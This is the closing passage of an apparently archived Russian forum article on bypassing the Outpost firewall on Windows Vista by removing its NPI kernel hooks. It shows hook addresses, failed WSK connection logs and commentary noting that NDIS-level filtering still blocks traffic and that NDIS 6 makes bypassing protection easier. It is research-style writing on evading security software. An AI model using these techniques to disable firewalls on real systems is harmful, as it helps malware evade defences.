  29.     QueryDispatchEndpoint:     0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  30.     ResumeConnection:          0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real)

NPI-хуки были успешно очищены.

Код (Text):
  1.  
  2. MakeHttpRequest(): WskConnect() failed with status 0xC0000001
  3. MakeHttpRequest(): Connecting to the 74.125.45.100:80...
  4. MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
  5. MakeHttpRequest(): Connecting to the 74.125.45.100:80...
  6. MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
  7. MakeHttpRequest(): Connecting to the 74.125.45.100:80...
  8. MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
  9. MakeHttpRequest(): Connecting to the 74.125.45.100:80...
  10. MakeHttpRequest(): WskConnect() failed with status 0xC00000B5

Если ошибка 0xC0000001 (STATUS_UNSUCCESSFUL) возникала при запрете подключения самим фаерволлом при активных NPI перехватах, то ошибка 0xC00000B5 (STATUS_IO_TIMEOUT) уже возникает при слишком долгом времени ожидания на подключение. tcpip.sys действительно пытается послать SYN пакет указанному хосту, но любая коммуникация застревает на NDIS уровне, где у Outpost располагается еще один уровень защиты. Окно фаерволла при этом не показывается.

Мораль такова: сняв перехваты на NPI уровне, мы не добьемся беспрепятственной работы с сетью для обычных приложений. К слову сказать, в NDIS 6, на котором и работает большинство фаерволлов для Windows Vista, стало намного легче снимать перехваты и обходить защиту. Ну а это, а это может послужить поводом для следующей статьи и очередного исследования. Have fun! ;)

Исходник к статье © MaD


0 2.727
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532